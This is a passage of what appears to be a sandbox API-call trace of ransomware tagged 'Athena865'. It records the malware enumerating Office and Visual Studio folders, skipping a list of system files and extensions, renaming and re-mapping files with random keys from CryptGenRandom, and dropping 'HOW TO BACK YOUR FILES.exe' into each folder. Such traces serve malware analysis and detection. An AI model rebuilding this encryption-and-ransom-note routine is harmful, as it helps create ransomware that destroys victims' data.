lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x89490, lpName=0x0) returned 0x17c [0094.725] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x89490) returned 0x2d50000 [0094.746] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0094.747] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.747] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.747] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5393b0 [0094.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5393b0 | out: hHeap=0x4f0000) returned 1 [0094.747] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0094.748] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0094.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0094.748] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0094.748] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0094.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0094.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0094.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0094.748] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0094.753] CloseHandle (hObject=0x17c) returned 1 [0094.753] CloseHandle (hObject=0x154) returned 1 [0094.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0094.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518bc8 | out: hHeap=0x4f0000) returned 1 [0094.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0094.755] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x582978, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VVIEWDWG.DLL", cAlternateFileName="")) returned 1 [0094.755] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0094.755] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0094.755] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2=".") returned 1 [0094.755] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2="..") returned 1 [0094.755] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2="windows") returned -1 [0094.755] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2="bootmgr") returned 1 [0094.755] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2="temp") returned 1 [0094.755] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2="pagefile.sys") returned 1 [0094.755] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2="boot") returned 1 [0094.756] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2="ids.txt") returned 1 [0094.756] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2="ntuser.dat") returned 1 [0094.756] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2="perflogs") returned 1 [0094.756] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2="MSBuild") returned 1 [0094.756] lstrlenW (lpString="VVIEWDWG.DLL") returned 12 [0094.756] lstrcpyW (in: lpString1=0x241e8aa, lpString2="VVIEWDWG.DLL" | out: lpString1="VVIEWDWG.DLL") returned="VVIEWDWG.DLL" [0094.756] lstrlenW (lpString="VVIEWDWG.DLL") returned 12 [0094.756] lstrlenW (lpString="Athena865") returned 9 [0094.756] lstrcmpiW (lpString1="EWDWG.DLL", lpString2="Athena865") returned 1 [0094.756] lstrlenW (lpString=".dll") returned 4 [0094.756] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2=".dll") returned 1 [0094.756] lstrlenW (lpString=".lnk") returned 4 [0094.756] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2=".lnk") returned 1 [0094.756] lstrlenW (lpString=".ini") returned 4 [0094.756] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2=".ini") returned 1 [0094.756] lstrlenW (lpString=".sys") returned 4 [0094.756] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2=".sys") returned 1 [0094.756] lstrlenW (lpString="VVIEWDWG.DLL") returned 12 [0094.756] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\VVIEWDWG.DLL.Athena865") returned 71 [0094.756] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\VVIEWDWG.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\vviewdwg.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\VVIEWDWG.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\vviewdwg.dll.athena865"), dwFlags=0x1) returned 1 [0094.759] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\VVIEWDWG.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\vviewdwg.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.759] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5777784) returned 1 [0094.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0094.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0094.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518bc8 [0094.759] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0094.760] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.760] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.760] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x582c80, lpName=0x0) returned 0x17c [0094.762] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0x182c80) returned 0x2d50000 [0094.901] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0094.901] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.901] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.902] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5393b0 [0094.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5393b0 | out: hHeap=0x4f0000) returned 1 [0094.902] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0094.902] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0094.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0094.902] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0094.902] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0094.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0094.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0094.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0094.902] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0094.917] CloseHandle (hObject=0x17c) returned 1 [0094.917] CloseHandle (hObject=0x154) returned 1 [0094.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0094.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518bc8 | out: hHeap=0x4f0000) returned 1 [0094.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0094.926] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26789e00, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x5e54ee50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26789e00, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x3fc368, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VVIEWER.DLL", cAlternateFileName="")) returned 1 [0094.926] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0094.926] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0094.926] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2=".") returned 1 [0094.926] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2="..") returned 1 [0094.926] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2="windows") returned -1 [0094.926] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2="bootmgr") returned 1 [0094.926] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2="temp") returned 1 [0094.926] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2="pagefile.sys") returned 1 [0094.926] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2="boot") returned 1 [0094.926] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2="ids.txt") returned 1 [0094.926] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2="ntuser.dat") returned 1 [0094.926] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2="perflogs") returned 1 [0094.926] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2="MSBuild") returned 1 [0094.926] lstrlenW (lpString="VVIEWER.DLL") returned 11 [0094.926] lstrcpyW (in: lpString1=0x241e8aa, lpString2="VVIEWER.DLL" | out: lpString1="VVIEWER.DLL") returned="VVIEWER.DLL" [0094.926] lstrlenW (lpString="VVIEWER.DLL") returned 11 [0094.926] lstrlenW (lpString="Athena865") returned 9 [0094.926] lstrcmpiW (lpString1="IEWER.DLL", lpString2="Athena865") returned 1 [0094.926] lstrlenW (lpString=".dll") returned 4 [0094.926] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2=".dll") returned 1 [0094.926] lstrlenW (lpString=".lnk") returned 4 [0094.926] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2=".lnk") returned 1 [0094.927] lstrlenW (lpString=".ini") returned 4 [0094.927] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2=".ini") returned 1 [0094.927] lstrlenW (lpString=".sys") returned 4 [0094.927] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2=".sys") returned 1 [0094.927] lstrlenW (lpString="VVIEWER.DLL") returned 11 [0094.927] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\VVIEWER.DLL.Athena865") returned 70 [0094.927] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\VVIEWER.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\vviewer.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\VVIEWER.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\vviewer.dll.athena865"), dwFlags=0x1) returned 1 [0094.928] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\VVIEWER.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\vviewer.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.928] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4178792) returned 1 [0094.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0094.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0094.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518bc8 [0094.928] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0094.929] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.929] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.929] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3fc670, lpName=0x0) returned 0x17c [0094.931] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x1fc670) returned 0x3160000 [0095.122] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0095.123] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0095.123] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0095.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5393b0 [0095.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5393b0 | out: hHeap=0x4f0000) returned 1 [0095.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0095.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0095.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0095.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0095.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0095.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0095.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0095.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0095.124] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0095.141] CloseHandle (hObject=0x17c) returned 1 [0095.141] CloseHandle (hObject=0x154) returned 1 [0095.141] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0095.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518bc8 | out: hHeap=0x4f0000) returned 1 [0095.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0095.150] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26789e00, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x5e54ee50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26789e00, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x3fc368, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VVIEWER.DLL", cAlternateFileName="")) returned 0 [0095.150] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0095.150] ReleaseMutex (hMutex=0xec) returned 1 [0095.150] CloseHandle (hObject=0xec) returned 1 [0095.150] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7" | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7" [0095.150] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x501d28 | out: hHeap=0x4f0000) returned 1 [0095.150] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c5c0 | out: hHeap=0x4f0000) returned 1 [0095.151] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7") returned 56 [0095.151] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\CB0659E9D014F80196CD2B25028AFB29") returned 0xec [0095.151] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0095.151] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7" | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7" [0095.151] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0095.151] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\how to back your files.exe"), bFailIfExists=1) returned 0 [0095.152] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0095.152] GetLastError () returned 0x0 [0095.152] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0095.152] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53cd08 [0095.152] ReadFile (in: hFile=0xf4, lpBuffer=0x53cd08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53cd08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0095.153] CloseHandle (hObject=0xf4) returned 1 [0095.153] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53cd08 | out: hHeap=0x4f0000) returned 1 [0095.153] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0095.153] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc125b060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc125b060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0095.153] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.153] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0095.153] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0095.153] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc125b060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc125b060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.153] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.153] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0095.153] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0095.153] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0095.153] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc125b060, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc125b060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0095.154] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0095.154] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52694b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52694b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IDE", cAlternateFileName="")) returned 1 [0095.154] lstrcmpiW (lpString1="IDE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0095.154] lstrcmpiW (lpString1="IDE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0095.154] lstrcmpiW (lpString1="IDE", lpString2=".") returned 1 [0095.154] lstrcmpiW (lpString1="IDE", lpString2="..") returned 1 [0095.154] lstrcmpiW (lpString1="IDE", lpString2="windows") returned -1 [0095.154] lstrcmpiW (lpString1="IDE", lpString2="bootmgr") returned 1 [0095.154] lstrcmpiW (lpString1="IDE", lpString2="temp") returned -1 [0095.154] lstrcmpiW (lpString1="IDE", lpString2="pagefile.sys") returned -1 [0095.154] lstrcmpiW (lpString1="IDE", lpString2="boot") returned 1 [0095.154] lstrcmpiW (lpString1="IDE", lpString2="ids.txt") returned -1 [0095.154] lstrcmpiW (lpString1="IDE", lpString2="ntuser.dat") returned -1 [0095.154] lstrcmpiW (lpString1="IDE", lpString2="perflogs") returned -1 [0095.154] lstrcmpiW (lpString1="IDE", lpString2="MSBuild") returned -1 [0095.154] lstrlenW (lpString="IDE") returned 3 [0095.154] lstrcpyW (in: lpString1=0x241e8ba, lpString2="IDE" | out: lpString1="IDE") returned="IDE" [0095.154] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c5c0 [0095.154] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x518bc8 [0095.154] lstrcatW (in: lpString1="IDE", lpString2="\\" | out: lpString1="IDE\\") returned="IDE\\" [0095.154] lstrcatW (in: lpString1="IDE\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="IDE\\HOW TO BACK YOUR FILES.exe") returned="IDE\\HOW TO BACK YOUR FILES.exe" [0095.154] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\how to back your files.exe"), bFailIfExists=1) returned 1 [0095.158] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1 [0095.158] lstrcmpiW (lpString1="Packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0095.158] lstrcmpiW (lpString1="Packages", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0095.158] lstrcmpiW (lpString1="Packages", lpString2=".") returned 1 [0095.158] lstrcmpiW (lpString1="Packages", lpString2="..") returned 1 [0095.158] lstrcmpiW (lpString1="Packages", lpString2="windows") returned -1 [0095.158] lstrcmpiW (lpString1="Packages", lpString2="bootmgr") returned 1 [0095.158] lstrcmpiW (lpString1="Packages", lpString2="temp") returned -1 [0095.158] lstrcmpiW (lpString1="Packages", lpString2="pagefile.sys") returned -1 [0095.158] lstrcmpiW (lpString1="Packages", lpString2="boot") returned 1 [0095.158] lstrcmpiW (lpString1="Packages", lpString2="ids.txt") returned 1 [0095.158] lstrcmpiW (lpString1="Packages", lpString2="ntuser.dat") returned 1 [0095.158] lstrcmpiW (lpString1="Packages", lpString2="perflogs") returned -1 [0095.158] lstrcmpiW (lpString1="Packages", lpString2="MSBuild") returned 1 [0095.158] lstrlenW (lpString="Packages") returned 8 [0095.158] lstrcpyW (in: lpString1=0x241e8ba, lpString2="Packages" | out: lpString1="Packages") returned="Packages" [0095.158] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c2f0 [0095.158] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x84) returned 0x5143f8 [0095.158] lstrcatW (in: lpString1="Packages", lpString2="\\" | out: lpString1="Packages\\") returned="Packages\\" [0095.158] lstrcatW (in: lpString1="Packages\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Packages\\HOW TO BACK YOUR FILES.exe") returned="Packages\\HOW TO BACK YOUR FILES.exe" [0095.158] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1 [0095.162] FindNextFileW (in: 